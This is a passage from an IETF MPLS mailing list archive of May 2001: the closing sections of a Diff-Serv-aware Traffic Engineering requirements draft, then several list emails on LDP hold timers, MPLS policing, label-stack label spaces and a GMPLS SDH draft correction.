       factors to adjust scheduling weights.


7.      Traffic Mapping Requirements

   This section describes the requirement for an LSR which is the Head-
   end of Diff-Serv-aware Traffic Engineering LSPs to map incoming
   traffic onto these LSPs.
   Each Diff-Serv-aware Traffic Engineering LSP has the following
   attributes:
       - it can transport one (or a set of) Diff-Serv class(es)
       (Ordered Aggregate) in accordance with [DIFF-MPLS]
       - it has been constraint based routed based on the Class-Type
       which comprises this (or these) class(es), in accordance with
       the previous sections of this document.

   Mapping of incoming traffic onto Diff-Serv-aware Traffic Engineering
   LSPs is to be performed in accordance with [DIFF-MPLS] so that only
   packets that belong to the (set of) Behavior Aggregate(s)
   transported over a given Diff-Serv-aware TE LSP should be mapped to
   that LSP. In particular, where the Head-end LSR is also the MPLS
   Edge LSR, determination of the Behavior Aggregate (and thus
   determination of the egress Diff-Serv-aware TE LSP) is based on the
   Diffserv Codepoint (DSCP) in the packet header.


8.      Security Considerations

   The solution developed to address the requirements defined in this
   document must address security aspects.


9.      Acknowledgments

   This document has benefited from discussions with Carol Iturralde
   and Rob Goguen.


References

   [TE-REQ] Awduche et al, Requirements for Traffic Engineering over
   MPLS, RFC2702, September 1999.

   [TEWG-FW] Awduche et al, A Framework for Internet Traffic
   Engineering, draft-ietf-tewg-framework-02.txt, July 2000.





 Le Faucheur et. al                                                 11


            Requirements for Diff-Serv Traffic Engineering   July 2000

   [DIFF-TE-EXT] Le Faucheur et al, Extensions to RSVP and CR-LDP for
   support of Diff-Serv-aware MPLS Traffic Engineering, draft-ietf-
   mpls-diff-te-ext-00.txt, November 2000.

   [DIFF-TE-OSPF] Le Faucheur et al,  Extension to OSPF for support of
   Diff-Serv-aware MPLS Traffic Engineering, draft-lefaucheur-diff-te-
   ospf-01.txt, November 2000.

   [DIFF-TE-ISIS] Le Faucheur et al,  Extension to ISIS for support of
   Diff-Serv-aware MPLS Traffic Engineering, draft-lefaucheur-diff-te-
   isis-01.txt, November 2000.

   [OSPF-TE] Katz, Yeung, Traffic Engineering Extensions to OSPF,
   draft-katz-yeung-ospf-traffic-03.txt, September 2000.

   [ISIS-TE] Smit, Li, IS-IS extensions for Traffic Engineering, draft-
   ietf-isis-traffic-02.txt, September 2000.

   [RSVP-TE] Awduche et al, "RSVP-TE: Extensions to RSVP for LSP
   Tunnels", draft-ietf-mpls-rsvp-lsp-tunnel-07.txt, August 2000.

   [DIFF-MPLS] Le Faucheur et al, "MPLS Support of Diff-Serv", draft-
   ietf-mpls-diff-ext-07.txt, August 2000

   [LDP] Andersson et al., "LDP Specification", draft-ietf-mpls-ldp-
   11.txt, August 2000

   [CR-LDP] Jamoussi et al., "Constraint-Based LSP Setup using LDP",
   draft-ietf-mpls-cr-ldp-04.txt, July 2000

   [TEMIB]     Srinivansan, C., and A. Viswanathan, "MPLS Traffic
   Engineering Management Information Base Using SMIv2", draft-ietf-
   mpls-te-mib-04.txt, July 2000.

   [LSRMIB]    Srinivansan, C., Viswanathan, A., and T. Nadeau "MPLS
   Label Switch Router Management Information Base Using SMIv2", draft-
   ietf-mpls-lsr-mib-06.txt, July 2000.


Authors' Address:

   Francois Le Faucheur
   Cisco Systems, Inc.
   Petra B - Les Lucioles - 291, rue Albert Caquot - 06560 Valbonne -
   France
   Phone: +33 4 92 96 75 64
   Email: flefauch@cisco.com

   Angela Chiu
   AT&T Labs
   200 Laurel Ave. Rm A5-1F06
   Middletown, NJ 07748, USA

 Le Faucheur et. al                                                 12


            Requirements for Diff-Serv Traffic Engineering   July 2000

   Tel: 1-(732) 420-9057
   Email: alchiu@att.com

   William Townsend
   Tenor Networks
   100 Nagog Park
   Acton, MA 01720
   Phone: +1-978-264-4900
   Email: btownsend@tenornetworks.com

   Thomas D. Nadeau
   Cisco Systems, Inc.
   250 Apollo Drive
   Chelmsford, MA 01824
   Phone: +1-978-244-3051
   Email: tnadeau@cisco.com

   Darek Skalecki
   Nortel Networks
   3500 Carling Ave,
   Nepean K2H 8E9
   Phone: +1-613-765-2252
   Email: dareks@nortelnetworks.com

   Martin Tatham
   BT
   Adastral Park,
   Martlesham Heath,
   Ipswich IP5 3RE
   UK
   Phone: +44-1473-606349
   Email: martin.tatham@bt.com





















 Le Faucheur et. al                                                 13



--------------EDAA43914B436A9B1944DDB4--



From owner-mpls@UU.NET  Wed May 16 10:37:41 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10401
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 10:37:35 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgs08625;
	Wed, 16 May 2001 14:36:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgs10220
	for mpls-outgoing; Wed, 16 May 2001 14:35:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpgs10192
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 14:35:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpgs22954
	for <mpls@UU.NET>; Wed, 16 May 2001 14:34:46 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkpgs28817
	for <mpls@UU.NET>; Wed, 16 May 2001 14:34:46 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 786C79400A; Wed, 16 May 2001 10:34:46 -0400 (EDT)
Message-ID: <3B029006.4063C64D@sandburst.com>
Date: Wed, 16 May 2001 10:34:46 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Heqing Zhu <zhuheqing@huawei.com>
Cc: Haseeb Budhani <haseeb@ipinfusion.com>, mpls@UU.NET
Subject: Re: Link down, TCP connection down and session?
References: <000f01c0ddee$97feff80$930a6e0a@huawei.com> <3B023716.5ED9E81F@ipinfusion.com> <001e01c0ddfb$13d48b00$930a6e0a@huawei.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Heqing Zhu,

    You need a hold timer, because loss of the link is only one thing
that could go wrong between two (otherwise amicable) LDP peers.
If an LDP instance gets locked up (it is in a loop, or has permanently
stepped out to lunch), the LSP related information from that peer is
of diminishing value over time.  Hence we use a hold timer.

You wrote:

> Maybe I didn't express it clearly.If LSR1 and LSR2 are connected directly,
> and there are many LSPs between them, suppose the link fails, does TCP
> connection be closed immediately?
> If this happens, why we still need some hold timer to check whether timout
> happen or not between two LSRs?
>
> Anyway, thank you very much.
>
> ----- Original Message -----
> From: Haseeb Budhani <haseeb@ipinfusion.com>
> To: Heqing Zhu <zhuheqing@huawei.com>
> Cc: <mpls@UU.NET>
> Sent: Wednesday, May 16, 2001 4:15 PM
> Subject: Re: Link down, TCP connection down and session?
>
> > Heqing Zhu wrote:
> >
> > > Hi,All:
> > >
> > > For LDP, I have a question about session after link is down.
> > > In fact, LDP defines some timer to check connection.
> > > Suppose one link is down, What will happen about TCP connection?
> > > If TCP connection is closed immediately, why we need the timer?
> > > If anyone knows some discussion or classical article
> > > Please give me some suggestion?
> > >
> > > Thanks in advance
> > >
> > > ********************
> > > Zhu Heqing
> > > Beijing, China
> > > ********************
> >
> > 'Sup Heqing,
> >
> > I think you're referring to the reconnect timout for tcp connections.
> > RFC 3036 says that once the tcp connection is broken for any reason, or
> > if a tcp connection could not be created in the first place, a timer
> > should should be started before we try to establish a new tcp connection
> > to the same peer, and that the minimum value for this timout should be
> > no less than 15 seconds. Upon unsuccessful tcp negotiation, the timeout
> > should be be exponentially increased until it is no more than 2 minutes
> > or 120 seconds, but you should keep trying to set up the tcp connection
> > forever.
> >
> > Hope I got it right. :)
> >
> > --
> > Haseeb Budhani.
> >



From owner-mpls@UU.NET  Wed May 16 10:50:38 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10671
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 10:50:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgt22485;
	Wed, 16 May 2001 14:48:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgt12163
	for mpls-outgoing; Wed, 16 May 2001 14:48:26 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpgt12134
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 14:48:18 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpgt02593
	for <mpls@uu.net>; Wed, 16 May 2001 14:47:32 GMT
Received: from dnsmx1rrc.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQkpgt12383
	for <mpls@uu.net>; Wed, 16 May 2001 14:47:31 GMT
Received: from notes800.cc.telcordia.com (notes800a.cc.telcordia.com [128.96.79.8])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id KAA04008;
	Wed, 16 May 2001 10:36:10 -0400 (EDT)
Subject: MPLS Policing and Shaping
To: mpls@UU.NET, mpls-ops@mplsrc.com
From: "Robert Streijl" <rstreijl@telcordia.com>
Date: Wed, 16 May 2001 10:36:10 -0400
Message-ID: <OF2FAC8EA0.4F054ED2-ON85256A4E.004EC139@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes800/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/16/2001 10:36:11 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I am not sure if this topic has been brought up before. Maybe quite a while
ago... I am trying to understand if and how policing, shaping, and marking
is supported in MPLS. I am trying to find the equivalence in MPLS of
UPC/NPC in ATM.

I have found the following:

1) MPLS allows (but does not require) the precedence or class of service to
be fully or partially inferred from the label.  In this case, one may say
that the label represents the combination of a FEC and a precedence or
class of service. (RFC3031)
2) MPLS Traffic Trunks, for TE, have two attributes which contribute to
policing and shaping: The traffic parameter attribute and the policing
attribute. (equivalent to ATM UPC mechanism) (RFC2702)
3) DiffServ allows policing and shaping information to be encoded in a
DHCP.

Does anybody implement solution 1 and how? I guess that with MPLS it does
not always mean that you receive labeled packets, say if you are a carrier.
With ATM you expect cells to come in.

I wish to stay out of solutions 2 and 3 for now, unless nobody found a
solution for 1.
Also, I wish to stick with the RFCs, and not really with proposed solutions
in drafts, however any activities in there are welcome.

How is solution 2 implemented?

Thanks
Robert



From owner-mpls@UU.NET  Wed May 16 10:59:54 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10875
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 10:59:53 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpfq14345;
	Wed, 16 May 2001 07:37:23 GMT
Received: by mail-control.mail.uu.net 
	id QQkpfq17021
	for mpls-outgoing; Wed, 16 May 2001 07:36:50 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpfq17012
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 07:36:41 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpfq18596
	for <mpls@UU.NET>; Wed, 16 May 2001 07:36:15 GMT
From: suchauhan@hss.hns.com
Received: from hindon.hss.co.in by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkpfq27123
	for <mpls@UU.NET>; Wed, 16 May 2001 07:36:07 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f4G7aYW06163;
	Wed, 16 May 2001 13:06:34 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A4E.00285543 ; Wed, 16 May 2001 12:50:32 +0530
X-Lotus-FromDomain: HSS
To: "Sherry Wei" <sherry_wei@hotmail.com>
cc: ytr@123india.com, mpls@UU.NET
Message-ID: <65256A4E.0028512A.00@sandesh.hss.hns.com>
Date: Wed, 16 May 2001 12:50:19 +0530
Subject: Re: About the data space of the label stack.
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk



hi all!
     I would like to state my understanding of the questions proposed by Sherry!

Q1 - Does each level of the label stack have the different label space, or does
each have its own label look up table?
Ans - IMHO, the labels at different levels need to be in different label spaces
if you need to re-use labels at diffrent levels. If not, then you can choose to
use the same label space for labels at  different level. Because each label in a
label space is linked to an operation to be performed on that labeled packet
hence whether the operation is pop or swap can only be determined if the labels
are unique over the label stack levels.

Q2 - Does every port have its own outgoing label look up table?
Ans - MPLS suports per-platform based Label Space or per-interface label space.
This is in tune generally also with the kind of L2 encapsulation you are using
as ATM harware (switches) generally use per-interface based VCI/VPI tables.

ciao
sumit





"Sherry Wei" <sherry_wei@hotmail.com> on 05/15/2001 06:31:38 PM

To:   ytr@123india.com
cc:   mpls@UU.NET (bcc: Sumit Chauhan/HSS)

Subject:  Re: About the data space of the label stack.




Hi YTR,

Thank you for your quick reply. What I mean is that the reconstruct or
reassembly should be done in the IP destination host instead of egress node
of MPLS networks.

About the ILM table, if it is per system based(each MPLS node has one ILM
table), how to distinguish between two same label values which located in
different level of the label stack? For example, one node looks up the up
most label value and gets 5. Then it looks into the ILM table and knows that
it should pop up this label entry and looks into the next label entry. It is
possible that the next label entry also has the value 5. Maybe at this time,
the operation should be label swapping. But from the according ILM table,
the node will pop up this label entry again.

Thanks,

Sherry

>From: ytr@123india.com
>To: sherry_wei@hotmail.com
>CC: mpls@UU.NET
>Subject: Re: About the data space of the label stack.
>Date: 15 May 2001 05:33:23 -0700
>
>Hi sherry,
>   Thanks for correction. What I mean the reconstruct is reassembly only
>:-).
>   Regading your label stack qn:
>     Label space should be same for all the label which are going to POP at
>same LSR.  Regarding tables, usally    these are per system (I mean not
>port wise). If label space is per platform then, there is no ambiguty in
>identifying labels in tabels. If label space is per port, then u need one
>more parameter to identify labels in tables, usally this parameter will be
>the label space. Remember there will be separate label space for each port.
>So when LSR receives MPLS Pkt it extracts label from TOP of the stack and
>it gets label space with help of port number which it received the pkt.
>With this LSR finds ILM entry. U can find NHLFE info from ILM.
>If I am wrong pls let me know
>
>Thanks
>YTR
>
>
>
>
>On Tue, 15 May 2001, "Sherry Wei" wrote:
>
> >
> > Hi all,
> >
> > I am a student now writing my master thesis on MPLS node structure. I
>have a
> > doubt about the label stack. Does each level of the label stack have the
> > different label space, or does each have its own label look up table?
> >
> > Also in the swapping of the label values, does every port have its own
> > outgoing label look up table?
> >
> > To YTR:
> > Only a small error. You mentioned that "At the egress IP module will
> > reconstruct the IP packet when it gets from MPLS module."
> > In RFC3032, it is described that "Reassembly of the fragments will be
>done
> > at the destination host."
> >
> > Thanks,
> >
> > Sherry
> >
> > Von: ytr@123india.com [mailto:ytr@123india.com]
> > Gesendet am: Dienstag, 15. Mai 2001 10:55
> > An: mgoel@hss.hns.com
> > Cc: mpls@UU.NET
> > Betreff: Re: Fragmentation and reassembly of MPLS packets
> >
> > Hi Mohit,
> >     If my understanding is correct, its impossible to do fragmentation
> > without
> > IP header.  one has to remove (preserve for later use) MPLS label stack
>and
> > check IP DF bit in IP header. If its set generate ICMP packets
>otherwise,
> > fragment IP packet keep the depth of the label stack in mind and
>reconstruct
> > the
> > fragmented packets with MPLS label stack and forwards those based on the
>top
> > label. At the egress IP module will reconsruct the IP packet when it
>gets
> > from
> > MPLS module.
> >
> > If I am wrong pls correct me.
> >
> > Thanks
> > YTR
> >
> > On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
> >
> > >
> > >
> > >
> > >Hi all,
> > >
> > >Section 3 of RFC 3032 discusses the procedure for fragmenting the
>labeled
> > >as
> > >well as unlabeled MPLS packet. In IP there are fields in the datagram
> > >header
> > >(IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control
>fragmentation
> > >and
> > >reassembely of datagrams. But in MPLS header there are no such fields
> > >defined.
> > >So how does reassembly of the fragmented MPLS packets happens at the
> > destination
> > >host.
> > >
> > >Thanks in advance
> > >Mohit
> >
> >
> >
>_________________________________________________________________________
> > Get Your Private, Free E-mail from MSN Hotmail at
>http://www.hotmail.com.
>
>
>______________________________________________________
>123India.com - India's Premier Portal
>Get your Free Email Account at http://www.123india.com
>
>

_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.







From owner-mpls@UU.NET  Wed May 16 11:37:50 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11649
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 11:37:50 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpgw04962;
	Wed, 16 May 2001 15:35:24 GMT
Received: by mail-control.mail.uu.net 
	id QQkpgw07047
	for mpls-outgoing; Wed, 16 May 2001 15:34:50 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpgw07022
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 15:34:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpgw02676
	for <mpls@UU.NET>; Wed, 16 May 2001 15:33:31 GMT
Received: from lightera2.csd.ciena.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.96.78.12])
	id QQkpgw20593
	for <mpls@UU.NET>; Wed, 16 May 2001 15:33:31 GMT
Received: by lightera2.csd.ciena.com with Internet Mail Service (5.5.2653.19)
	id <K17FR7NN>; Wed, 16 May 2001 08:33:12 -0700
Message-ID: <E7FD0BF66F57D311809C00902785C4CC0305C101@lightera2.csd.ciena.com>
From: "Bernstein, Greg" <GregB@ciena.com>
To: ccamp@ops.ietf.org, mpls@UU.NET
Subject: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
Date: Wed, 16 May 2001 08:33:12 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi in the draft draft-ietf-ccamp-gmpls-sdh-00.txt it says:

   In case of any type of contiguous concatenation (e.g. standard or
   arbitrary concatenation), only one label appears in the Label
   field. That label is the lowest signal of the contiguously
   concatenated signal. By lowest signal we mean the one having the
   lowest label when compared as integer values, i.e. the first
   component signal of the concatenated signal encountered when
   descending the tree.

   In case of virtual concatenation, the explicit ordered list of all
   labels in the concatenation is given. Each label indicates a
   component of the virtually concatenated signal.

This does not reflect the intent of arbitrary concatenation- arbitrary, size
and placement of timeslots.  Otherwise the main benefit of arbitrary
concatenation, preventing re-grooming is lost.  Corrected text could read:

    In the case of standard contiguous, only one label appears in the Label
   field. That label is the lowest signal of the standard contiguously
   concatenated signal. By lowest signal we mean the one having the
   lowest label when compared as integer values, i.e. the first
   component signal of the concatenated signal encountered when
   descending the tree.

   In the cases of arbitrary or virtual concatenation, the explicit ordered
list of all
   labels in the concatenation is given. Each label indicates a
   component of the arbitrary or virtually concatenated signal.


Greg B.
	Dr. Greg M. Bernstein, Senior Scientist, Ciena 
	New phone: (510) 573-2237



From owner-mpls@UU.NET  Wed May 16 11:47:16 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA12101
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 11:47:16 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpfd02277;
	Wed, 16 May 2001 04:17:38 GMT
Received: by mail-control.mail.uu.net 
	id QQkpfd01861
	for mpls-outgoing; Wed, 16 May 2001 04:17:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpfd01853
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 04:17:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpfd22799
	for <mpls@UU.NET>; Wed, 16 May 2001 04:15:34 GMT
From: ytr@123india.com
Received: from c001.zsm.cp.net by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: c001-h008.c001.zsm.cp.net [209.228.56.122])
	id QQkpfd08905
	for <mpls@UU.NET>; Wed, 16 May 2001 04:15:33 GMT
Received: (cpmta 9692 invoked from network); 15 May 2001 21:15:32 -0700
Date: 15 May 2001 21:15:32 -0700
Message-ID: <20010516041532.9691.cpmta@c001.zsm.cp.net>
X-Sent: 16 May 2001 04:15:32 GMT
Received: from [192.52.59.67] by mail.123india.com with HTTP;
    15 May 2001 21:15:32 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: sherry_wei@hotmail.com
Cc: mpls@UU.NET
X-Mailer: Web Mail 3.9.2.3
Subject: Re: About the data space of the label stack.
X-Sent-From: ytr@123india.com
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi sherry,
  You are right, its not egress, it is IP destination node. Thanks for correcting me.

Lemme ask one Qn: Can u explain more about in which scenario the two adjacent labels in a label stack will have the same label value when top label have POP operation in ILM?.

If my understanding is correct, whatever the labels needs lookup at LSR, its LSR responsibility to generate unique labels. If ILM entry contains POP operation for  a label which is the top of the label stack, the next label is supposed to genearte same LSR. Becoz, the next label is also required to lookup at same LSR. 
LSR is supposued to generate unique Labels and informs to its appropraite  peers  during control plane. 

Thanks
YTR

On Tue, 15 May 2001, "Sherry Wei" wrote:

> 
> Hi YTR,
> 
> Thank you for your quick reply. What I mean is that the reconstruct or 
> reassembly should be done in the IP destination host instead of egress node 
> of MPLS networks.
> 
> About the ILM table, if it is per system based(each MPLS node has one ILM 
> table), how to distinguish between two same label values which located in 
> different level of the label stack? For example, one node looks up the up 
> most label value and gets 5. Then it looks into the ILM table and knows that 
> it should pop up this label entry and looks into the next label entry. It is 
> possible that the next label entry also has the value 5. Maybe at this time, 
> the operation should be label swapping. But from the according ILM table, 
> the node will pop up this label entry again.
> 
> Thanks,
> 
> Sherry
> 
> >From: ytr@123india.com
> >To: sherry_wei@hotmail.com
> >CC: mpls@UU.NET
> >Subject: Re: About the data space of the label stack.
> >Date: 15 May 2001 05:33:23 -0700
> >
> >Hi sherry,
> >   Thanks for correction. What I mean the reconstruct is reassembly only 
> >:-).
> >   Regading your label stack qn:
> >     Label space should be same for all the label which are going to POP at 
> >same LSR.  Regarding tables, usally    these are per system (I mean not 
> >port wise). If label space is per platform then, there is no ambiguty in 
> >identifying labels in tabels. If label space is per port, then u need one 
> >more parameter to identify labels in tables, usally this parameter will be 
> >the label space. Remember there will be separate label space for each port. 
> >So when LSR receives MPLS Pkt it extracts label from TOP of the stack and 
> >it gets label space with help of port number which it received the pkt. 
> >With this LSR finds ILM entry. U can find NHLFE info from ILM.
> >If I am wrong pls let me know
> >
> >Thanks
> >YTR
> >
> >
> >
> >
> >On Tue, 15 May 2001, "Sherry Wei" wrote:
> >
> > >
> > > Hi all,
> > >
> > > I am a student now writing my master thesis on MPLS node structure. I 
> >have a
> > > doubt about the label stack. Does each level of the label stack have the
> > > different label space, or does each have its own label look up table?
> > >
> > > Also in the swapping of the label values, does every port have its own
> > > outgoing label look up table?
> > >
> > > To YTR:
> > > Only a small error. You mentioned that "At the egress IP module will
> > > reconstruct the IP packet when it gets from MPLS module."
> > > In RFC3032, it is described that "Reassembly of the fragments will be 
> >done
> > > at the destination host."
> > >
> > > Thanks,
> > >
> > > Sherry
> > >
> > > Von: ytr@123india.com [mailto:ytr@123india.com]
> > > Gesendet am: Dienstag, 15. Mai 2001 10:55
> > > An: mgoel@hss.hns.com
> > > Cc: mpls@UU.NET
> > > Betreff: Re: Fragmentation and reassembly of MPLS packets
> > >
> > > Hi Mohit,
> > >     If my understanding is correct, its impossible to do fragmentation
> > > without
> > > IP header.  one has to remove (preserve for later use) MPLS label stack 
> >and
> > > check IP DF bit in IP header. If its set generate ICMP packets 
> >otherwise,
> > > fragment IP packet keep the depth of the label stack in mind and 
> >reconstruct
> > > the
> > > fragmented packets with MPLS label stack and forwards those based on the 
> >top
> > > label. At the egress IP module will reconsruct the IP packet when it 
> >gets
> > > from
> > > MPLS module.
> > >
> > > If I am wrong pls correct me.
> > >
> > > Thanks
> > > YTR
> > >
> > > On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
> > >
> > > >
> > > >
> > > >
> > > >Hi all,
> > > >
> > > >Section 3 of RFC 3032 discusses the procedure for fragmenting the 
> >labeled
> > > >as
> > > >well as unlabeled MPLS packet. In IP there are fields in the datagram
> > > >header
> > > >(IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control 
> >fragmentation
> > > >and
> > > >reassembely of datagrams. But in MPLS header there are no such fields
> > > >defined.
> > > >So how does reassembly of the fragmented MPLS packets happens at the
> > > destination
> > > >host.
> > > >
> > > >Thanks in advance
> > > >Mohit
> > >
> > >
> > > 
> >_________________________________________________________________________
> > > Get Your Private, Free E-mail from MSN Hotmail at 
> >http://www.hotmail.com.
> >
> >
> >______________________________________________________
> >123India.com - India's Premier Portal
> >Get your Free Email Account at http://www.123india.com
> >
> >
> 
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.


______________________________________________________
123India.com - India's Premier Portal 
Get your Free Email Account at http://www.123india.com




From owner-mpls@UU.NET  Wed May 16 12:49:18 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA13868
	for <mpls-archive@lists.ietf.org>; Wed, 16 May 2001 12:49:18 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkphb11630;
	Wed, 16 May 2001 16:47:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkphb04800
	for mpls-outgoing; Wed, 16 May 2001 16:47:24 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkphb04662
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 16:47:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkphb08449
	for <mpls@UU.NET>; Wed, 16 May 2001 16:47:05 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQkphb22826
	for <mpls@UU.NET>; Wed, 16 May 2001 16:47:04 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id JAA25310;
	Wed, 16 May 2001 09:43:53 -0700 (PDT)
Message-ID: <3B02AE49.610D71DD@pluris.com>
Date: Wed, 16 May 2001 09:43:53 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Abhijit M Gadgil <amg@sasken.com>
CC: mpls@UU.NET
Subject: Re: Receive Label Receive !!
References: <Pine.GSO.4.30.0105160929420.29532-100000@sund2.sasi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


  Certainly, if one never did FEC aggregation, then the problem goes away.
However,  the ability to support FEC aggregation is not only called for in the
